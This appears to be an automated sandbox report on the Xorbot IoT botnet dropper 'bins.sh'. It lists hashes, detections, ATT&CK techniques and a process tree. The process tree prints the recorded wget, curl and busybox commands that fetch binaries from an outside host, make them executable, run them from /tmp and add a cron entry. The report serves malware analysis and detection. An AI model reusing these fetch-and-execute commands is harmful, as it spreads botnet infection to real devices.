xorbot | ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b

Analysis

max time kernel
142s
max time network
145s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/02/2025, 03:12

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General

Target

bins.sh
Size

10KB
MD5

e30ffb2eaaca92a1709929457fea3835
SHA1

74c6b5d3241f81e97f9ffb9cc0024d1891fca787
SHA256

ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b
SHA512

6ebd2a3b7566114e474308ecf3beb317db5e0434eafebebb917c39627d2a8501cedd6e28b5ff5d139f97b067587b628cc4464eb9444fa8af209988a3d987d45d
SSDEEP

192:lUhghhYFhgShMhQhq/P5tqUUZ+4hghhYFhgShMhQhq/PRsc:lUShOFSS2WqgUUI4ShOFSS2Wq

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-8.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1979) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
794	chmod
912	chmod
933	chmod
955	chmod
969	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H	742	bins.sh
/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE	795	bins.sh
/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp	914	bins.sh
/tmp/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc	970	bins.sh

Renames itself 1 IoCs

pid	Process
796	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3sTvYi	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/817/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1108/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1142/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1182/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/121/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/676/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/714/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/890/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1116/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1174/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/21/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/24/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/823/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/861/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/888/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/889/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/964/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/2/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/905/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/942/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1025/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1046/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1085/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1095/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1096/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/824/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/830/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/901/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/907/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1021/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1041/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1052/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1121/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/9/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/18/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/81/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/825/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/895/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1091/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1120/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1183/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/6/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/363/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/828/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/894/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1094/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/172/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/845/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/984/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/993/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1036/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1133/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1173/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/72/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/667/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/835/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/846/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/997/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/1117/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/358/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/869/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/876/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
File opened for reading	/proc/918/cmdline	4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE

System Network Configuration Discovery 1 TTPs 16 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
715	wget
751	curl
937	curl
963	curl
965	busybox
973	wget
732	curl
740	busybox
903	busybox
936	wget
813	wget
900	curl
745	wget
793	busybox
938	busybox
962	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H	wget
File opened for modification	/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H	curl
File opened for modification	/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE	wget
File opened for modification	/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE	curl
File opened for modification	/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp	busybox
File opened for modification	/tmp/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod 777 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  ./1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  PID:742
- /bin/rm
  rm 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - System Network Configuration Discovery
  PID:793
- /bin/chmod
  chmod 777 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  ./4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:795
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:797
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:798
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:799
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:800
- /bin/rm
  rm 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  PID:809
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - System Network Configuration Discovery
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/chmod
  chmod 777 vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  ./vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  PID:914
- /bin/rm
  rm vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:924
- /bin/chmod
  chmod 777 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  ./793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:934
- /bin/rm
  rm 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  ./TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  PID:960
- /bin/rm
  rm TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  2⤵
  - System Network Configuration Discovery
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/chmod
  chmod 777 XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  ./XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  2⤵
  PID:970
- /bin/rm
  rm XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/imaxNlPMclqEqcL0VyFDWehJBrvhvbB61D
  2⤵
  - System Network Configuration Discovery
  PID:973

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.3sTvYi

Filesize
210B

MD5
dbfc71c4505c8089015ff97affcb4231

SHA1
6f4bf76a0d9d5300350cff7d381965f635bd3b65

SHA256
124707e203a0b8e63aa089d138f662cc5026d061ff7d3abd1a36d75f353fd5ba

SHA512
ce4b233e9cf3a8ac331735b3d6b743fb4c369a3b5b606112a6c8e260472abc2070ff7838f5ecca0d04412169ee7b9267eaa15d19bce1d3f2d4825df1e5f72c60

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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